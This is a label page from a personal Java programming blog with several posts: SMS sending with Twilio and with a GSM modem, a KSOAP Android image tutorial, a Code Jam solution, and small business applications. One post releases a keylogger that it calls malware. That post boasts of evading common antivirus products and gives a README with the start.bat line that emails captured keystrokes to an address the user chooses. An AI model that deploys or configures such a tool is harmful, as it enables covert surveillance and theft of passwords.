Showing posts with label Java. Show all posts
Showing posts with label Java. Show all posts

Sample Java/Maven Web project which allows to simply send SMS using Twilio API

Twilio-SMS-test

Download project: https://github.com/harshadura/Twilio-SMS-test/archive/master.zip

Require: Java, Maven

Maven project: simply use =) mvn clean install jetty:run

Web app will start on: http://localhost:8085/twilio-web-test/

Pre-Built war can be found at: DemoWAR folder.

Screenshot: >>






http client using Java to access POST GET methods from a web service


Download Sample Project

package javaapplication1;

import java.util.logging.Logger;
import org.apache.commons.httpclient.*;
import org.apache.commons.httpclient.methods.PostMethod;

public class Main {
 private final static Logger LOGGER = Logger.getLogger(Main.class.getName());

 public static void main(String args[]) {
  try {
   PostMethod post = new PostMethod("http://23.21.69.166/ralapanawa/RalaWS.php");
   post.addParameter("tank_id", "kalawewa");
   HttpClient client = new HttpClient();
   int status = client.executeMethod(post);
   String response = post.getResponseBodyAsString();
   LOGGER.info("Request sent! > Reponse : " + response);

  } catch (Exception e) {
   LOGGER.info("Error : " + e.getMessage());
  }
 }
}



#GoogleCodeJam my Answer Algorithm for Problem A. Speaking in Tongues

Took around 1.5 hours to write this Algorithm.
When the submission to #gcj I have been tried total 3 times.
After 2 tries I figured out z =q and q=z :D
Totally I went 3 tries but last one is a loss, I thought it will automatically submitted after the count down though it didnt. :/

I got Full marks for this Algorithm.. hahahahha.. how cool it was..... :)

  Problem A. Speaking in Tongues

Problem

We have come up with the best possible language here at Google, called Googlerese. To translate text into Googlerese, we take any message and replace each English letter with another English letter. This mapping is one-to-one and onto, which means that the same input letter always gets replaced with the same output letter, and different input letters always get replaced with different output letters. A letter may be replaced by itself. Spaces are left as-is.
For example (and here is a hint!), our awesome translation algorithm includes the following three mappings: 'a' -> 'y', 'o' -> 'e', and 'z' -> 'q'. This means that "a zoo" will become "y qee".
Googlerese is based on the best possible replacement mapping, and we will never change it. It will always be the same. In every test case. We will not tell you the rest of our mapping because that would make the problem too easy, but there are a few examples below that may help.
Given some text in Googlerese, can you translate it to back to normal text?

Solving this problem

Usually, Google Code Jam problems have 1 Small input and 1 Large input. This problem has only 1 Small input. Once you have solved the Small input, you have finished solving this problem.

Input

The first line of the input gives the number of test cases, T. T test cases follow, one per line.
Each line consists of a string G in Googlerese, made up of one or more words containing the letters 'a' - 'z'. There will be exactly one space (' ') character between consecutive words and no spaces at the beginning or at the end of any line.

Output

For each test case, output one line containing "Case #X: S" where X is the case number and S is the string that becomes G in Googlerese.

Limits

1 ≤ T ≤ 30.
G contains at most 100 characters.
None of the text is guaranteed to be valid English.

Sample

Input
3
ejp mysljylc kd kxveddknmc re jsicpdrysi
rbcpc ypc rtcsra dkh wyfrepkym veddknkmkrkcd
de kr kd eoya kw aej tysr re ujdr lkgc jv


Output
Case #1: our language is impossible to understand
Case #2: there are twenty six factorial possibilities
Case #3: so it is okay if you want to just give up

My Answer!
_____________________________________________________

 

/**
 * Google Code Jam - Qualification Round 2012
 * Problem A. Speaking in Tongues
 * Author : harshadura@gmail.com
 * @harshadura
 */

import java.io.*;

public class Main {

    private static String[] EncryptedLines;
    private static String[] DecryptedLines;

    public static void main(String[] args) {

        int i = 0;
        int j = 0;
        int count = 0;

        try {
            FileInputStream fstream = new FileInputStream("C:\\Users\\Harsha\\Documents\\NetBeansProjects\\GoogleCodeJamA\\A-small-attempt3.in");
            DataInputStream in = new DataInputStream(fstream);
            BufferedReader br = new BufferedReader(new InputStreamReader(in));
            String strLine;

            EncryptedLines = new String[100];

            while ((strLine = br.readLine()) != null) {
                EncryptedLines[i++] = strLine;
                System.out.println(strLine);
                ++count;
            }
            in.close();
        } catch (Exception e) {
            System.err.println("Error: " + e.getMessage());
        }

        DecryptedLines = new String[count - 1];
        int numTests = Integer.valueOf(EncryptedLines[0]);

        if (numTests < 1 || numTests > 30){
            System.out.println("Invalid Input!!!!!!!!");
            System.exit(0);
        }

        for (i = 1; i <= numTests; i++) {
            DecryptedLines[j++] = "Case #" + i + ": " + ConvertLine(EncryptedLines[i]);
        }

        String writableString = "";

        for (int k = 0; k < DecryptedLines.length; k++) {
            if (k + 1 == DecryptedLines.length) {
                writableString = writableString + DecryptedLines[k];
                break;
            }
            writableString = writableString + DecryptedLines[k] + "\n";
        }

        writeToFile(writableString);
    }

    public static String ConvertLine(String plainText) {
        int size = plainText.length();
        String decripted = "";
        
        if (size > 100) { 
            System.out.println("More than 100 Characters exceeded for a Single Case and Thats Invalid!!!!!!!!");
            System.exit(0);
        }

        for (int i = 0; i < size; i++) {
            decripted = decripted + charMap(plainText.charAt(i));
        }
        return decripted;
    }

    public static void writeToFile(String WrittenText) {
        try {
            BufferedReader in = new BufferedReader(new InputStreamReader(System.in));
            String file_name = "A-small-attempt3.out";
            FileWriter fstream = new FileWriter(file_name);
            BufferedWriter out = new BufferedWriter(fstream);
            out.write(WrittenText);
            out.close();
            System.out.println("File created successfully.");
        } catch (Exception e) {
            System.out.println(e.getMessage());
        }
    }

    public static char charMap(char x) {
        switch (x) {
            case 'a':
                return 'y';
            case 'b':
                return 'h';
            case 'c':
                return 'e';
            case 'd':
                return 's';
            case 'e':
                return 'o';
            case 'f':
                return 'c';
            case 'g':
                return 'v';
            case 'h':
                return 'x';
            case 'i':
                return 'd';
            case 'j':
                return 'u';
            case 'k':
                return 'i';
            case 'l':
                return 'g';
            case 'm':
                return 'l';
            case 'n':
                return 'b';
            case 'o':
                return 'k';
            case 'p':
                return 'r';
            case 'q':
                return 'z';
            case 'r':
                return 't';
            case 's':
                return 'n';
            case 't':
                return 'w';
            case 'u':
                return 'j';
            case 'v':
                return 'p';
            case 'w':
                return 'f';
            case 'x':
                return 'm';
            case 'y':
                return 'a';
            case 'z':
                return 'q';
        }
        return x;
    }
}

Retrieve Image objects from a .NET Web Service using Ksoap to Android

Hi Guys!

After lot of effort I have completed one of the tutorials regarding KSOAP Web Services with Android. :D
So I would like to describe how I have solved the things for any case some one will get the use and well for my future reference as well.

Task
Using the following .Net Webservice, call method GetLinkImage  by passing the image ids listed below. The method will return an image. Save these images to a local storage on android device and show them in a suitable way.

Thanks to this web site, got the basics of Koap with Android..

Below is a Simple program with Ksoap using a Webservice.

package com.pxr.tutorial.soap.weather;

import org.ksoap2.SoapEnvelope;
import org.ksoap2.serialization.SoapObject;
import org.ksoap2.serialization.SoapSerializationEnvelope;
import org.ksoap2.transport.HttpTransportSE;

import android.app.Activity;
import android.os.Bundle;
import android.widget.TextView;

public class Main extends Activity {
 
 private static String SOAP_ACTION = "http://tempuri.org/HelloWorld";
 
 private static String NAMESPACE = "http://tempuri.org/";
 private static String METHOD_NAME = "HelloWorld";
 
 private static String URL = "http://bimbim.in/Sample/TestService.asmx?WSDL";
 
 
    /** Called when the activity is first created. */
    @Override
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.main);
        
        //Initialize soap request + add parameters
        SoapObject request = new SoapObject(NAMESPACE, METHOD_NAME);        
        request.addProperty("Parameter","Value");
        
        
        SoapSerializationEnvelope envelope = new SoapSerializationEnvelope(SoapEnvelope.VER11);
        envelope.setOutputSoapObject(request);
     
        // Make the soap call.
  HttpTransportSE androidHttpTransport = new HttpTransportSE(URL);
        try {
         
         //this is the actual part that will call the webservice
   androidHttpTransport.call(SOAP_ACTION, envelope);        
        } catch (Exception e) {
         e.printStackTrace(); 
        }
        
  // Get the SoapResult from the envelope body.  
  SoapObject result = (SoapObject)envelope.bodyIn;
    
  if(result != null){
   TextView t = (TextView)this.findViewById(R.id.resultbox);
   t.setText("SOAP response:\n\n" + result.getProperty(0).toString());
  }
  
    }
}


Here is the Solution to the Above mentioned task! yeY!

package com.harshadura.img_wsdl;

import java.io.File;
import java.io.FileOutputStream;
import java.io.OutputStream;
import org.ksoap2.SoapEnvelope;
import org.ksoap2.serialization.SoapObject;
import org.ksoap2.serialization.SoapSerializationEnvelope;
import org.ksoap2.transport.HttpTransportSE;
import android.app.Activity;
import android.app.ProgressDialog;
import android.content.Intent;
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.os.Bundle;
import android.os.Environment;
import android.os.Handler;
import android.util.Base64;
import android.util.Log;
import android.view.View;
import android.widget.Button;
import android.widget.ImageView;

public class Main extends Activity {

 ImageView image;
 String extStorageDirectory;
 Bitmap decodedByte;

 private int iterator = 0;
 Button btnStartProgress;
 ProgressDialog progressBar;
 private int progressBarStatus = 0;
 private Handler progressBarHandler = new Handler();

 private static String SOAP_ACTION = "http://tempuri.org/TestMethod";
 private static String NAMESPACE = "http://tempuri.org/";
 private static String METHOD_NAME = "TestMethod";
 private static String URL = "http://test.org/ws/testService.asmx?WSDL";

 @Override
 public void onCreate(Bundle savedInstanceState) {

  super.onCreate(savedInstanceState);
  setContentView(R.layout.main);

  Button buttonDownload = (Button) findViewById(R.id.downloadImages);
  Button buttonDisplay = (Button) findViewById(R.id.displayImages);

  buttonDownload.setOnClickListener(buttonSaveOnClickListener);
  buttonDisplay.setOnClickListener(buttonDisplayClickListener);
  
  createDirIfNotExists("MyImages");  
  extStorageDirectory = Environment.getExternalStorageDirectory()
    .toString() + "/MyImages/";
  Log.v("path", extStorageDirectory);
 }

 public int doSomeTasks() {

  String[] imageIDs = { "123", "124", "125" };

  while (iterator < imageIDs.length) {
   getEncodedImageFromService(imageIDs[iterator]);

   switch (iterator) {
   case 1:
    return 10;
   case 2:
    return 20;
   case 3:
    return 30;
   case 4:
    return 40;
   case 5:
    return 50;
   case 6:
    return 60;
   case 7:
    return 70;
   case 8:
    return 80;
   case 9:
    return 90;
   case 10:
    return 100;
   }
  }

  return 100;
 }

 public static boolean createDirIfNotExists(String path) {
  boolean ret = true;

  File file = new File(Environment.getExternalStorageDirectory(), path);
  if (!file.exists()) {
   if (!file.mkdirs()) {
    Log.e("TravellerLog :: ", "Problem creating Image folder");
    ret = false;
   }
  }
  return ret;
 }

 Button.OnClickListener buttonDisplayClickListener = new Button.OnClickListener() {
  @Override
  public void onClick(View v) {
    Intent intent = new Intent(Main.this, ImageGallery.class);
    startActivity(intent);
  }
 };

 Button.OnClickListener buttonSaveOnClickListener = new Button.OnClickListener() {
  @Override
  public void onClick(View v) {
   progressBar = new ProgressDialog(v.getContext());
   progressBar.setCancelable(true);
   progressBar.setMessage("Retrieving Data...");
   progressBar.setProgressStyle(ProgressDialog.STYLE_HORIZONTAL);
   progressBar.setProgress(0);
   progressBar.setMax(100);
   progressBar.show();
   progressBarStatus = 0;

   new Thread(new Runnable() {
    public void run() {
     while (progressBarStatus < 100) {
      progressBarStatus = doSomeTasks();
      try {
       Thread.sleep(1000);
      } catch (InterruptedException e) {
       e.printStackTrace();
      }
      progressBarHandler.post(new Runnable() {
       public void run() {
        progressBar.setProgress(progressBarStatus);
       }
      });
     }
     if (progressBarStatus >= 100) {
      try {
       Thread.sleep(2000);
      } catch (InterruptedException e) {
       e.printStackTrace();
      }
      iterator = 0;
      progressBar.dismiss();
     }
    }
   }).start();

  }
 };

 public void getEncodedImageFromService(String imageID) {
  SoapObject request = new SoapObject(NAMESPACE, METHOD_NAME);
  request.addProperty("ImageId", imageID);

  SoapSerializationEnvelope envelope = new SoapSerializationEnvelope(
    SoapEnvelope.VER11);
  envelope.dotNet = true;
  envelope.setOutputSoapObject(request);
  HttpTransportSE androidHttpTransport = new HttpTransportSE(URL);
  try {
   androidHttpTransport.call(SOAP_ACTION, envelope);
  } catch (Exception e) {
   e.printStackTrace();
  }

  SoapObject result;
  result = (SoapObject) envelope.bodyIn;

  if (result != null) {
   String encodedImage = result.getProperty(0).toString();
   Log.v("TAG", encodedImage);
   byte[] decodedString = Base64.decode(encodedImage, Base64.DEFAULT);
   decodedByte = BitmapFactory.decodeByteArray(decodedString, 0,
     decodedString.length);
   SaveToSDCard();
  }
 }

 public void SaveToSDCard() {
  String imagename = "image" + (iterator + 1) + ".png";
  OutputStream outStream = null;
  File file = new File(extStorageDirectory, imagename);

  try {
   outStream = new FileOutputStream(file);
   decodedByte.compress(Bitmap.CompressFormat.PNG, 100, outStream);
   outStream.flush();
   outStream.close();
  } catch (Exception e) {
   e.printStackTrace();
  }
  iterator++;
 }
}




Thess permissions have to be added in the Android manifest file as well.

    <uses-permission android:name="android.permission.INTERNET" />
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />

Usage-Analyzer : Working System User Interfaces


Usage Analyzer Web Application

  • For Tracking the App usage of a Telco AppStore.

The administrator/user can upload the CSV files which were recorded and collected during SMS receiving time of the Server.

Sample CSV file contains : appid, date, msisdn

eg,
appid1,06/22/11,msisdn1
appid1,06/22/11,msisdn2
appid1,06/22/11,msisdn2
appid1,06/22/11,msisdn3
appid1,06/22/11,msisdn4
appid1,06/22/11,msisdn3
appid1,06/22/11,msisdn3




Now the Admin can upload the CSV files to the Tracking System




Then the Admin can See the Data which were uploaded into the System or may be Admin can review some data.



Admin can Categorize the Apps into several Categories in this Section.
Like for example the person can put App1 to Info category, or may be one App can be owned by two categories, like App2 : Info, others



Now the Admin can track the App usages of particular Application by Three ways. AppID, MSISDN or by the Category.




Here's a generated Report graph of "Overall Apps usage by Category of Info"



Likewise this Usage Analyzer Web Application involves in tracking the App usage of Particular apps, categories to find out which Apps were the interesting ones for people and take necessary actions as needed to promote them.

-harshadura

UltraX-KeyLogger for Windows

 [Educational Purpose Only]


Well today im releasing a Damn interesting Application.. its a Keylogger!! yes a Malware!! this is ma first attempt to create a malware which I have researched for nearly 3 months with ma colleague maduraX86. we hv tried to accomplish this using C++, python and well soo many ways. but aftr all those gone vain. I hv started writing this using a Combination of two languages. well its C++ and Java.

This is not just a Keylogger its powdered with an Emailer too!! thats the bonus feature on it!!

Sorry Link Removed!

________________________________________________________

 
මචංලා මේ තීන්නෙ මගෙ අලුත්ම නිර්මාණය.. 

UltraX-KeyLogger for Windows
 
Malware එකක් නම් තමයි. බට් ඉතිං ඕන වෙන තැන් එහෙම ඕගොල්ල දන්නව ඇතිනේ..
මෙහෙමයි Keylogger එකක් කිවවට මේක නෝමල් Keylogger එහෙකට වඩා වටින Feature එකක් තීනව, eMailer එකක් Inbuilt. ඒ නිසා Log එක කෙලින්ම ඔයාගෙ Email Address එකට Receive වෙනව. Email receive වෙන කාලපරාසය Adjust කරගන්නත් පුලුවනි
දැනට කිසි අවුලක් නැතුව MS Security Essentials, Avast, AVG, Avira වගෙ Antivirus guard යටත් එලකිරි වගෙ බඩු වැඩ..
මේකෙ මගෙ Malware Scripts මුකුත් නැහැ.. තනිකරම මේකෙ Log එක යන්නෙ ඔයා දාන Email Address එකට නිසා කිසිම අවුලක් වෙන්නෙ නෑ.. බය නැතුව යූස් කරල බලන්න.
ට්‍රයි එකක් දාල Bugs එහෙම කියනවනම් ලොකු දෙයක්.. දැනට නම් කියන්න තරම් ලොකු Bug එකක් නැහැ.. මේකෙ පොඩි අවුලක් තීන්නෙ මේක වැඩ කරන්න ඒ Run වෙන Machine එකෙ Java දාල තීන්න ඕනි.. නැත්තම් Email part එකට සීන් වෙනව. නමුත් දැන් ගොඩක් දෙනෙක් Machines වලට Java දාගන්න නිසා ඒකත් ලොකු ප්‍රශ්නයක් වෙන එකක් නැහැ..
 


Sorry Link Removed!
 

README File
############################################
        UltraXKeyLogger v0.5
############################################

---------------------------
Prerequisites 
---------------------------
(01)    Java
---------------------------
Configuring the KeyMailer
---------------------------
Right Click the "start.bat" and open it with NotePad++ or whatever suitable editor you have!

Ok now you will see this text on it!
 
------------------------------------
@echo off
cd dist
start Logger.exe & start javaw -jar KeyMailer.jar testEmail@gmail.com 5000
@echo on
------------------------------------
We have to modify few parameters in the 3rd line in order to recieve logs for relavant email Address.

-----------------------------------
start Logger.exe & start javaw -jar KeyMailer.jar testEmail@gmail.com 5000
------------------------------------

well!! I will explain lil bit.

------------------------------------
start Logger.exe & start javaw -jar KeyMailer.jar <Log Recievers Email Address> <Email log recieving time delay>
------------------------------------

*Log Recievers Email Address : put an email of your choice this will reeive the logs.

*Email log recieving time delay: the time delay for a Log after a log. [1000 = 1 Second] so this default value implies 5 Seconds.
if you need like a 10 Min delay then it should be 1000 X 60 X 10 = 600000 not 1000*60*10 you should calulate it and giv the final value to it. jz said thats it. xD

So Adjust them as you like! Save the File properly, And then Jz Run the same "start.bat"
You have just started the Keylogger!! 

Just hit some buttons and check your mails.
Voila!! you should recieved the KeyLog!! xD

Simply send SMS using Java with GSM Modem or HSDPA Dongle!

Hello Everyone!

Today I am going to tell you about how to Simply send SMS by using your HSDPA dongle or GSM modem. Cool! Isnt It? yes Its not that Difficult too. I have tried so many ways to Accomplish this problem. After so many Attempts I got the way to do. So well I will tell you how I have done that.




Basically this was created by using SMSLib which is an open source Library for Java. After studying the API I have created a Simple API Wrapper for the convenience of all of us. I have hosted the open source coding at Github with a sample Project named SMS.Dura.Wrapper. For this sample project I have made and used a Prebuilt Jar Library named smsdura-1.0.jar which works as the wrapper. So in your Project you have to do is simply import that smsdura-1.0.jar, just configure the modem, put the Message, TP and Send. Now SMS from Java? Its very easy as Ice Cream! :D  Don't worry. I will tell you how to do that. May be it will add more value for your project as well.

I will guide you rest of the Process.
Okay lets Start!

1. First of all you have to Download this Sample Project.

2. Now we have to copy few files in the <Extras folder> to your Java Classpath.[Normally JDKDIR can be found in > C:\Program Files\Java] So go to that path and do it as said. Detailed Instructions are listed below.

---------------------------   
    External Configurations for the JVM on the targeted machine. (Strictly Recommended!)
    [These files can be found in <extras> folder of the Project path.)
---------------------------

Java Comm Installation <comm dir>
-----------------------------------
    File comm.jar should go under JDKDIR/jre/lib/ext/
    File javax.comm.properties should go under JDKDIR/jre/lib/
    Library files (i.e. win32com.dll for Win32 or the .so Linux library files) should go under JDKDIR/jre/bin/
    If you have a separate JRE directory, do the same copies for the JREDIR directory!

RxTx Installation <rxtx dir>
-----------------------------------
    File RXTXcomm.jar should go under JDKDIR/jre/lib/ext/
    The necessary library (e.g.. for Linux 32bit, the librxtxSerial.so) should go under JDKDIR/jre/bin/
    If you have a separate JRE directory, do the same copies for the JREDIR directory!

huh! All the hard work has been done. be cool now :)

3. Okay now Simply open the Project from Netbeans IDE or whatever IDE you are using.

4. Importing the Required Dependencies. I have Imported all the Jars for this Project. So by default you have to do nothing with importing. But in your project you have to import few Jar files you can found in <lib> folder. You have to import all the Jars in that folder.

5. Okay done! Now take a look at this code.
package logic;

import com.harshadura.gsm.smsdura.GsmModem;

public class TestSMS {

    private static String port = "COM3"; //Modem Port.
    private static int bitRate = 115200; //this is also optional. leave as it is.
    private static String modemName = "ZTE"; //this is optional.
    private static String modemPin = "0000"; //Pin code if any have assigned to the modem.
    private static String SMSC = "+9477000003"; //Message Center Number ex. Mobitel

    public static void main(String[] args) throws Exception {
        GsmModem gsmModem = new GsmModem();
        GsmModem.configModem(port, bitRate, modemName, modemPin, SMSC);
        gsmModem.Sender("+94712244555", "Test Message"); // (tp, msg) 
    } 
}
Okay in here. you will notice that you have to first find out the port number of your USB modem/dongle. for that you can simply right click the MyComputer Icon > goto Mange > then Search for Modems > then it will pop up a interface with several tabs.
Okay then you can simply notice theirs a Name called port. Infront of that theirs the port Number. okay cool now you know the port number. Insert that into the code.

Modem name is a optional thing.Give it some relevant name.

Bitrate? leave it as it is. Or change to a proper one. The number will change depending modem to modem. so just leave as it as.

Some modems are using PIN numbers for Security. Does your one also using such a pin? If so please insert it to the code.

well then You have to insert the SMS Message Center Number. You already know that. Suppose you own a Mobitel/Dialog Sim you can easily find out it in your Mobile phone/Dongle Message Settings. So get the Number and paste it with +94 prefix.

wow! Now all are ready. we have completed the Configuration of the modem. Cool isnt it? :D

Okay now please disconnect your Modem from the Internet Before continue. If its connected to the internet or may be the Mobile Partner or what ever the Software you are using to connect with the modem, can disturb our work. So just close them All. You better restart your computer to refresh the Modem Port. Don't Connect it to the Internet!!

Well now we are ready to send SMS thorough Java.. Be Cool..!
gsmModem.Sender("+94712244555", "Test Message"); // (tp, msg)

Just put some Telephone number and message for the Body.
Then do a Clean and Build. Now simply Run the project.

Okay all have to be working Properly..Wait, Give it some Time! Did you got the Message? :D

So thats how we can simply send SMS using Java with our USB modem.
Cool way.. huh!

Cheers!
 - Harsha

_________________________


Troubleshooting

  • Case 1 - javax.comm.NoSuchPortException

Exception in thread "main" org.smslib.GatewayException: Comm library exception: java.lang.RuntimeException: javax.comm.NoSuchPortException
at org.smslib.modem.SerialModemDriver.connectPort(SerialModemDriver.java:102)
at org.smslib.modem.AModemDriver.connect(AModemDriver.java:114)
at org.smslib.modem.ModemGateway.startGateway(ModemGateway.java:189)
at org.smslib.Service$1Starter.run(Service.java:276)
Java Result: 1

This error can be occurred caused by several reasons.

1. your dongle software might be opened. so close it, double check if its running as a background service by using Task Manager. kill if it exists.
2. Your SMSLib configurations to JVM isnt affected properly. so check again the required files are thr or not. you need to place them both JDK and JRE see ^
3. This program doesnt work well with 64Bit JVM, but it doesnt say you cant use it in a 64 bit machine. but You have install 32Bit JDK on it, remove the 64Bit JDK to prevent mix ups.
4. The port you gonna access might not really available in the system. you can simple check the Dongle port if its thr by: right clicking Computer icon then go manage > then select device manager > then expand Ports(COM LPT) column > You will see the Application interface port of your device. Thats the port you have to use thr.

  • Case 2 - SMS to multiple recipients
Unfortunately this program doesn't have the capability to send SMS for multiple recipients but the core API (SMSLib) would do it, So you may refer this to send same SMS to multiple recipients(group sms) by using the built in functions of SMSLib API.

Notes:
  • This program is licensed under: Apache License (Please see the full license document at here)
  • The program is a API Wrapper for SMSLib and  the Main API has more Functionality than this Wrapper Code.
  • Please review the below comments section for Answers towards most of the frequently asked questions.


Simple way to pack All Jar Dependencies into One Jar using maven-dependency-plugin



<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <groupId>com.harshadura.gsm</groupId>
    <artifactId>smsdura</artifactId>
    <packaging>jar</packaging>
    <version>1.0</version>
    <name>smsdura</name>
    <url>http://maven.apache.org</url>
    <build>
        <plugins>
            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-dependency-plugin</artifactId>
                <executions>
                    <execution>
                        <id>copy-dependencies</id>
                        <phase>prepare-package</phase>
                        <goals>
                            <goal>copy-dependencies</goal>
                        </goals>
                        <configuration>
                            <outputDirectory>${project.build.directory}/classes/lib</outputDirectory>
                            <overWriteReleases>false</overWriteReleases>
                            <overWriteSnapshots>false</overWriteSnapshots>
                            <overWriteIfNewer>true</overWriteIfNewer>
                        </configuration>
                    </execution>
                </executions>
            </plugin>
        </plugins>
    </build>
    <dependencies>
        <dependency>
            <groupId>javax.comm</groupId>
            <artifactId>comm</artifactId>
            <version>2.0.3</version>
            <scope>system</scope>
            <systemPath>${basedir}/lib/comm.jar</systemPath>
        </dependency>
        <dependency>
            <groupId>commons-net</groupId>
            <artifactId>commons-net</artifactId>
            <version>3.0.1</version>
            <scope>system</scope>
            <systemPath>${basedir}/lib/commons-net-3.0.1.jar</systemPath>
        </dependency>
        <dependency>
            <groupId>log4j</groupId>
            <artifactId>log4j</artifactId>
            <version>1.2.16</version>
            <scope>system</scope>
            <systemPath>${basedir}/lib/log4j-1.2.16.jar</systemPath>
        </dependency>
        <dependency>
            <groupId>jsmpp</groupId>
            <artifactId>jsmpp</artifactId>
            <version>2.1.0</version>
            <scope>system</scope>
            <systemPath>${basedir}/lib/jsmpp-2.1.0.jar</systemPath>
        </dependency>
        <dependency>
            <groupId>smslib</groupId>
            <artifactId>smslib</artifactId>
            <version>3.5.1</version>
            <scope>system</scope>
            <systemPath>${basedir}/lib/smslib-3.5.1.jar</systemPath>
        </dependency>
        <dependency>
            <groupId>RXTXcomm</groupId>
            <artifactId>RXTXcomm</artifactId>
            <version>1.0.0</version>
            <scope>system</scope>
            <systemPath>${basedir}/lib/RXTXcomm.jar</systemPath>
        </dependency>
        <dependency>
            <groupId>pduutils</groupId>
            <artifactId>pduutils</artifactId>
            <version>1.0.0</version>
            <scope>system</scope>
            <systemPath>${basedir}/lib/pduutils.jar</systemPath>
        </dependency>
    </dependencies>
</project>





After then just type
mvn clean install

OpenMRM – Medical Record Management System


This is a Project which I have done with few of my colleagues specifically for SLIIT ITP Subject.
I have open sourced the Full source Code at github and rest of the project gonna Open sourced at Sourceforge FOSS home.

I am really thankful to Roshan Ayya, Dr. Dikaz Sheriff at Western Hospital, Colombo for giving lots of helps to make this Product a Success.

The ripen is a lil intro on whats it? and how it works.
visit the official project web portal to see more.thx



How it Works!

 


OpenMRM is a Cross Platform Supported Desktop Application Product,  which is purely coded using Java. Its a  Electronic Medical record Management system Specially developed for Clinic or same kind of Small or Medium Scaled Hospital.
 
We started developing this Application from building a simple data model, wrapped that into an API, and then built a web-based application that uses the API. But it was a Vain, So then we Started to build this Desktop Application and now all Seems Working great. 

OpenMRM still in developing process, and its a Fully open sourced project. Community can get involved and support us to develop the next generation of high end OpenMRM. and in the Meantime You can download the source from GitHub and feel free to submit your comments and found any bugs regarding OpenMRM.

Related Links


Project Home

Fork the Git Source
Download Source


                             


Fully Functional Credit Management System using JavaSE - Source Code Attached


Here is my latest project. Its a Credit Management System using JavaSE.

For this project I have used Jasper IReports for the reporting part. And other look and feel components as well.

Full free open source coding can be found in git :
https://github.com/harshadura/LankaFuelMartCRM


PROJECT SPECIFICATION

Main Functions List

Credit Slip Operations

 Attributes > Company | Description of item| Qty | Amount | Vehicle No | Shift
 Deposit, Credit Limit as Necessary (Private/Government)
 Alert when Entering Data/Checking
 Functions > Add | Delete | Search | Update
 Reports > Daily Report | Monthly Report
 Additional Notes : Customer Limit Checker UI > have to Check before fuel Pumping (checks whether the customer has exceeded the Credit limit already)

Credit Card Operations (Visa)


 Attributes > Credit Card Number | Credit card type | Amount | Vehicle No
 Functions > Add | Delete | Search | Update
 Reports > Daily Report | Monthly Report


Customer Details Table

 Attributes > ID | Customer Name | Address | Contact Number
 Functions > Add | Delete | Search | Update

Product details List

 Attributes > ID | Name | Price
 Functions > Add | Delete | Search | Update
 Additional Notes > Configurable Prices
 Shifts > 6-2 | 2-10 | 10-6

Report Generation and Reporting Tools

Table Attributes > NO | Date | Order No | Description | Vehicle No | Qty | Rate | Amount
 Daily Reports
 Monthly Reports



############################################
README - Lanka Fuel Mart CRM System
############################################

@author      : Harsha Siriwardena     <harshadura@gmail.com>
@copyrights : Durapix.org           <http://www.durapix.org>
@license     : GNU GPL v3             <http://www.gnu.org/licenses/>

---------------------------
Required Software
---------------------------

(01)    Java 1.6
(02)    Mysql Server 5.1

---------------------------
Deploying the System
---------------------------

>   start mysql server

>   source the database schema. (db_dump.sql)
        mysql> source <path>/db_dump.sql

>   Using command line, go Inside of System project folder.

>   Run the Main System Jar found in <project>/dist/LankaFuelMart.jar


-------------------------------------------
3rd Party Tools Used
-------------------------------------------
(01)    Jasper Reporting
(02)    Synthetica LAF (removed and inserted the System look and feel instead)

-------------------------------------------
Troubleshoot
-------------------------------------------
If an error occured like this "Java.lang.ClassNotFoundException:"
Copy the Nessasary JARs into below folders and Restart the Application.

Linux
----- 
\jre\lib
\jre\lib\ext


Setting Synthetica Look and Feel theme to a Java Swing Application






This is simple Video Tutorial I have done to Connect Synthetica Look and Feel theme to a Java Swing Application. If you guyz interested in making your java Swing GUI looks so amazing just give this a try!

You can find the full version jars here : http://www.mediafire.com/?lu4zpqs7sji2d1q